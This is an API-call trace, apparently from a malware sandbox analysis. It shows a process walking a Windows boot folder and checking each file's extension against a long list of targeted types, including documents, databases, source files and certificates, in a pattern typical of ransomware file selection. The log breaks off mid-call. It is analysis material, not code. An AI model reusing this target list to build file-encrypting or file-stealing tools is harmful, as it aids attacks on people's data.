lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0093.688] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.688] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0093.688] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0093.688] lstrlenW (lpString=".1cd") returned 4 [0093.688] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0093.688] lstrlenW (lpString=".3ds") returned 4 [0093.688] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0093.688] lstrlenW (lpString=".3fr") returned 4 [0093.688] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0093.688] lstrlenW (lpString=".3g2") returned 4 [0093.688] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0093.688] lstrlenW (lpString=".3gp") returned 4 [0093.688] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0093.688] lstrlenW (lpString=".7z") returned 3 [0093.688] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0093.688] lstrlenW (lpString=".accda") returned 6 [0093.688] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0093.689] lstrlenW (lpString=".accdb") returned 6 [0093.689] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0093.689] lstrlenW (lpString=".accdc") returned 6 [0093.689] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0093.689] lstrlenW (lpString=".accde") returned 6 [0093.689] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0093.689] lstrlenW (lpString=".accdt") returned 6 [0093.689] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0093.689] lstrlenW (lpString=".accdw") returned 6 [0093.689] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0093.689] lstrlenW (lpString=".adb") returned 4 [0093.689] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0093.689] lstrlenW (lpString=".adp") returned 4 [0093.689] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0093.689] lstrlenW (lpString=".ai") returned 3 [0093.689] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0093.689] lstrlenW (lpString=".ai3") returned 4 [0093.689] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0093.689] lstrlenW (lpString=".ai4") returned 4 [0093.689] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0093.689] lstrlenW (lpString=".ai5") returned 4 [0093.689] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0093.689] lstrlenW (lpString=".ai6") returned 4 [0093.689] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0093.689] lstrlenW (lpString=".ai7") returned 4 [0093.689] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0093.690] lstrlenW (lpString=".ai8") returned 4 [0093.690] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0093.690] lstrlenW (lpString=".anim") returned 5 [0093.690] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0093.690] lstrlenW (lpString=".arw") returned 4 [0093.690] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0093.690] lstrlenW (lpString=".as") returned 3 [0093.690] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0093.690] lstrlenW (lpString=".asa") returned 4 [0093.690] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0093.690] lstrlenW (lpString=".asc") returned 4 [0093.690] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0093.690] lstrlenW (lpString=".ascx") returned 5 [0093.690] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0093.690] lstrlenW (lpString=".asm") returned 4 [0093.690] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0093.690] lstrlenW (lpString=".asmx") returned 5 [0093.690] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0093.690] lstrlenW (lpString=".asp") returned 4 [0093.690] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0093.690] lstrlenW (lpString=".aspx") returned 5 [0093.690] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0093.690] lstrlenW (lpString=".asr") returned 4 [0093.690] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0093.690] lstrlenW (lpString=".asx") returned 4 [0093.690] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0093.691] lstrlenW (lpString=".avi") returned 4 [0093.691] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0093.691] lstrlenW (lpString=".avs") returned 4 [0093.691] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0093.691] lstrlenW (lpString=".backup") returned 7 [0093.691] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0093.691] lstrlenW (lpString=".bak") returned 4 [0093.691] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0093.691] lstrlenW (lpString=".bay") returned 4 [0093.691] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0093.691] lstrlenW (lpString=".bd") returned 3 [0093.691] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0093.691] lstrlenW (lpString=".bin") returned 4 [0093.691] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0093.691] lstrlenW (lpString=".bmp") returned 4 [0093.691] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0093.691] lstrlenW (lpString=".bz2") returned 4 [0093.691] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0093.691] lstrlenW (lpString=".c") returned 2 [0093.691] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0093.691] lstrlenW (lpString=".cdr") returned 4 [0093.691] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0093.691] lstrlenW (lpString=".cer") returned 4 [0093.691] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0093.691] lstrlenW (lpString=".cf") returned 3 [0093.691] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0093.692] lstrlenW (lpString=".cfc") returned 4 [0093.692] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0093.692] lstrlenW (lpString=".cfm") returned 4 [0093.692] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0093.692] lstrlenW (lpString=".cfml") returned 5 [0093.692] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0093.692] lstrlenW (lpString=".cfu") returned 4 [0093.692] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0093.692] lstrlenW (lpString=".chm") returned 4 [0093.692] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0093.692] lstrlenW (lpString=".cin") returned 4 [0093.692] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0093.692] lstrlenW (lpString=".class") returned 6 [0093.692] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0093.692] lstrlenW (lpString=".clx") returned 4 [0093.692] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0093.692] lstrlenW (lpString=".config") returned 7 [0093.692] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0093.692] lstrlenW (lpString=".cpp") returned 4 [0093.692] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0093.692] lstrlenW (lpString=".cr2") returned 4 [0093.692] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0093.692] lstrlenW (lpString=".crt") returned 4 [0093.692] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0093.692] lstrlenW (lpString=".crw") returned 4 [0093.692] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0093.692] lstrlenW (lpString=".cs") returned 3 [0093.693] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0093.693] lstrlenW (lpString=".css") returned 4 [0093.693] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0093.693] lstrlenW (lpString=".csv") returned 4 [0093.693] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0093.693] lstrlenW (lpString=".cub") returned 4 [0093.693] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0093.693] lstrlenW (lpString=".dae") returned 4 [0093.693] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0093.693] lstrlenW (lpString=".dat") returned 4 [0093.693] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0093.693] lstrlenW (lpString=".db") returned 3 [0093.693] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0093.693] lstrlenW (lpString=".dbf") returned 4 [0093.693] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0093.693] lstrlenW (lpString=".dbx") returned 4 [0093.693] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0093.693] lstrlenW (lpString=".dc3") returned 4 [0093.693] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0093.693] lstrlenW (lpString=".dcm") returned 4 [0093.693] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0093.693] lstrlenW (lpString=".dcr") returned 4 [0093.693] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0093.693] lstrlenW (lpString=".der") returned 4 [0093.693] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0093.693] lstrlenW (lpString=".dib") returned 4 [0093.694] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0093.694] lstrlenW (lpString=".dic") returned 4 [0093.694] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0093.694] lstrlenW (lpString=".dif") returned 4 [0093.694] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0093.694] lstrlenW (lpString=".divx") returned 5 [0093.694] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0093.694] lstrlenW (lpString=".djvu") returned 5 [0093.694] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0093.694] lstrlenW (lpString=".dng") returned 4 [0093.694] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0093.694] lstrlenW (lpString=".doc") returned 4 [0093.694] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0093.694] lstrlenW (lpString=".docm") returned 5 [0093.694] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0093.694] lstrlenW (lpString=".docx") returned 5 [0093.694] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0093.694] lstrlenW (lpString=".dot") returned 4 [0093.694] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0093.694] lstrlenW (lpString=".dotm") returned 5 [0093.694] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0093.694] lstrlenW (lpString=".dotx") returned 5 [0093.694] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0093.694] lstrlenW (lpString=".dpx") returned 4 [0093.694] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0093.694] lstrlenW (lpString=".dqy") returned 4 [0093.695] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0093.695] lstrlenW (lpString=".dsn") returned 4 [0093.695] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0093.695] lstrlenW (lpString=".dt") returned 3 [0093.695] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0093.695] lstrlenW (lpString=".dtd") returned 4 [0093.695] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0093.695] lstrlenW (lpString=".dwg") returned 4 [0093.695] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0093.695] lstrlenW (lpString=".dwt") returned 4 [0093.695] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0093.695] lstrlenW (lpString=".dx") returned 3 [0093.695] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0093.695] lstrlenW (lpString=".dxf") returned 4 [0093.695] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0093.695] lstrlenW (lpString=".edml") returned 5 [0093.695] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0093.695] lstrlenW (lpString=".efd") returned 4 [0093.695] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0093.695] lstrlenW (lpString=".elf") returned 4 [0093.695] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0093.695] lstrlenW (lpString=".emf") returned 4 [0093.695] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0093.695] lstrlenW (lpString=".emz") returned 4 [0093.695] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0093.695] lstrlenW (lpString=".epf") returned 4 [0093.695] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0093.696] lstrlenW (lpString=".eps") returned 4 [0093.696] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0093.696] lstrlenW (lpString=".epsf") returned 5 [0093.696] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0093.696] lstrlenW (lpString=".epsp") returned 5 [0093.696] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0093.696] lstrlenW (lpString=".erf") returned 4 [0093.696] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0093.696] lstrlenW (lpString=".exr") returned 4 [0093.696] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0093.696] lstrlenW (lpString=".f4v") returned 4 [0093.696] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0093.696] lstrlenW (lpString=".fido") returned 5 [0093.696] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0093.696] lstrlenW (lpString=".flm") returned 4 [0093.696] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0093.696] lstrlenW (lpString=".flv") returned 4 [0093.696] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0093.696] lstrlenW (lpString=".frm") returned 4 [0093.696] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0093.696] lstrlenW (lpString=".fxg") returned 4 [0093.696] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0093.696] lstrlenW (lpString=".geo") returned 4 [0093.696] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0093.696] lstrlenW (lpString=".gif") returned 4 [0093.696] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0093.697] lstrlenW (lpString=".grs") returned 4 [0093.697] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0093.697] lstrlenW (lpString=".gz") returned 3 [0093.697] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0093.697] lstrlenW (lpString=".h") returned 2 [0093.697] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0093.697] lstrlenW (lpString=".hdr") returned 4 [0093.697] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0093.697] lstrlenW (lpString=".hpp") returned 4 [0093.697] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0093.697] lstrlenW (lpString=".hta") returned 4 [0093.697] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0093.697] lstrlenW (lpString=".htc") returned 4 [0093.697] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0093.697] lstrlenW (lpString=".htm") returned 4 [0093.697] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0093.697] lstrlenW (lpString=".html") returned 5 [0093.697] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0093.697] lstrlenW (lpString=".icb") returned 4 [0093.697] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0093.697] lstrlenW (lpString=".ics") returned 4 [0093.697] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0093.697] lstrlenW (lpString=".iff") returned 4 [0093.697] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0093.697] lstrlenW (lpString=".inc") returned 4 [0093.697] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0093.697] lstrlenW (lpString=".indd") returned 5 [0093.698] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0093.698] lstrlenW (lpString=".ini") returned 4 [0093.698] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0093.698] lstrlenW (lpString=".iqy") returned 4 [0093.698] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0093.698] lstrlenW (lpString=".j2c") returned 4 [0093.698] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0093.698] lstrlenW (lpString=".j2k") returned 4 [0093.698] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0093.698] lstrlenW (lpString=".java") returned 5 [0093.698] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0093.698] lstrlenW (lpString=".jp2") returned 4 [0093.698] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0093.698] lstrlenW (lpString=".jpc") returned 4 [0093.698] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0093.698] lstrlenW (lpString=".jpe") returned 4 [0093.698] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0093.698] lstrlenW (lpString=".jpeg") returned 5 [0093.698] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0093.698] lstrlenW (lpString=".jpf") returned 4 [0093.698] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0093.698] lstrlenW (lpString=".jpg") returned 4 [0093.698] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0093.698] lstrlenW (lpString=".jpx") returned 4 [0093.698] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0093.698] lstrlenW (lpString=".js") returned 3 [0093.699] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0093.699] lstrlenW (lpString=".jsf") returned 4 [0093.699] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0093.699] lstrlenW (lpString=".json") returned 5 [0093.699] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0093.699] lstrlenW (lpString=".jsp") returned 4 [0093.699] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0093.699] lstrlenW (lpString=".kdc") returned 4 [0093.699] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0093.699] lstrlenW (lpString=".kmz") returned 4 [0093.699] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0093.699] lstrlenW (lpString=".kwm") returned 4 [0093.699] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0093.699] lstrlenW (lpString=".lasso") returned 6 [0093.699] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0093.699] lstrlenW (lpString=".lbi") returned 4 [0093.699] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0093.699] lstrlenW (lpString=".lgf") returned 4 [0093.699] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0093.699] lstrlenW (lpString=".lgp") returned 4 [0093.699] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0093.699] lstrlenW (lpString=".log") returned 4 [0093.699] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0093.699] lstrlenW (lpString=".m1v") returned 4 [0093.699] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0093.699] lstrlenW (lpString=".m4a") returned 4 [0093.700] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0093.700] lstrlenW (lpString=".m4v") returned 4 [0093.700] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0093.700] lstrlenW (lpString=".max") returned 4 [0093.700] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0093.700] lstrlenW (lpString=".md") returned 3 [0093.700] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0093.700] lstrlenW (lpString=".mda") returned 4 [0093.700] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0093.700] lstrlenW (lpString=".mdb") returned 4 [0093.700] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0093.700] lstrlenW (lpString=".mde") returned 4 [0093.700] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0093.700] lstrlenW (lpString=".mdf") returned 4 [0093.700] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0093.700] lstrlenW (lpString=".mdw") returned 4 [0093.700] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0093.700] lstrlenW (lpString=".mef") returned 4 [0093.700] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0093.700] lstrlenW (lpString=".mft") returned 4 [0093.700] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0093.700] lstrlenW (lpString=".mfw") returned 4 [0093.700] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0093.700] lstrlenW (lpString=".mht") returned 4 [0093.700] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0093.700] lstrlenW (lpString=".mhtml") returned 6 [0093.701] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0093.701] lstrlenW (lpString=".mka") returned 4 [0093.701] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0093.701] lstrlenW (lpString=".mkidx") returned 6 [0093.701] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0093.701] lstrlenW (lpString=".mkv") returned 4 [0093.701] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0093.701] lstrlenW (lpString=".mos") returned 4 [0093.701] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0093.701] lstrlenW (lpString=".mov") returned 4 [0093.701] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0093.701] lstrlenW (lpString=".mp3") returned 4 [0093.701] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0093.701] lstrlenW (lpString=".mp4") returned 4 [0093.701] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0093.701] lstrlenW (lpString=".mpeg") returned 5 [0093.701] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0093.701] lstrlenW (lpString=".mpg") returned 4 [0093.701] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0093.701] lstrlenW (lpString=".mpv") returned 4 [0093.701] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0093.701] lstrlenW (lpString=".mrw") returned 4 [0093.701] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0093.701] lstrlenW (lpString=".msg") returned 4 [0093.701] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0093.701] lstrlenW (lpString=".mxl") returned 4 [0093.701] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0094.133] lstrlenW (lpString=".myd") returned 4 [0094.133] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0094.133] lstrlenW (lpString=".myi") returned 4 [0094.133] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0094.133] lstrlenW (lpString=".nef") returned 4 [0094.133] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0094.133] lstrlenW (lpString=".nrw") returned 4 [0094.133] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0094.133] lstrlenW (lpString=".obj") returned 4 [0094.133] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0094.133] lstrlenW (lpString=".odb") returned 4 [0094.133] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0094.133] lstrlenW (lpString=".odc") returned 4 [0094.133] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0094.133] lstrlenW (lpString=".odm") returned 4 [0094.134] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0094.134] lstrlenW (lpString=".odp") returned 4 [0094.134] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0094.134] lstrlenW (lpString=".ods") returned 4 [0094.134] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0094.134] lstrlenW (lpString=".oft") returned 4 [0094.134] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0094.134] lstrlenW (lpString=".one") returned 4 [0094.134] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0094.134] lstrlenW (lpString=".onepkg") returned 7 [0094.134] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0094.134] lstrlenW (lpString=".onetoc2") returned 8 [0094.134] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0094.134] lstrlenW (lpString=".opt") returned 4 [0094.134] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0094.134] lstrlenW (lpString=".oqy") returned 4 [0094.134] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0094.134] lstrlenW (lpString=".orf") returned 4 [0094.134] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0094.134] lstrlenW (lpString=".p12") returned 4 [0094.134] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0094.134] lstrlenW (lpString=".p7b") returned 4 [0094.134] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0094.134] lstrlenW (lpString=".p7c") returned 4 [0094.134] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0094.134] lstrlenW (lpString=".pam") returned 4 [0094.134] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0094.134] lstrlenW (lpString=".pbm") returned 4 [0094.134] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0094.134] lstrlenW (lpString=".pct") returned 4 [0094.134] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0094.134] lstrlenW (lpString=".pcx") returned 4 [0094.135] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0094.135] lstrlenW (lpString=".pdd") returned 4 [0094.135] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0094.135] lstrlenW (lpString=".pdf") returned 4 [0094.135] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0094.135] lstrlenW (lpString=".pdp") returned 4 [0094.135] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0094.135] lstrlenW (lpString=".pef") returned 4 [0094.135] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0094.135] lstrlenW (lpString=".pem") returned 4 [0094.135] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0094.135] lstrlenW (lpString=".pff") returned 4 [0094.135] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0094.135] lstrlenW (lpString=".pfm") returned 4 [0094.135] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0094.135] lstrlenW (lpString=".pfx") returned 4 [0094.135] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0094.135] lstrlenW (lpString=".pgm") returned 4 [0094.135] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0094.135] lstrlenW (lpString=".php") returned 4 [0094.135] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0094.135] lstrlenW (lpString=".php3") returned 5 [0094.135] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0094.135] lstrlenW (lpString=".php4") returned 5 [0094.135] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0094.135] lstrlenW (lpString=".php5") returned 5 [0094.135] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0094.135] lstrlenW (lpString=".phtml") returned 6 [0094.135] lstrcmpiW 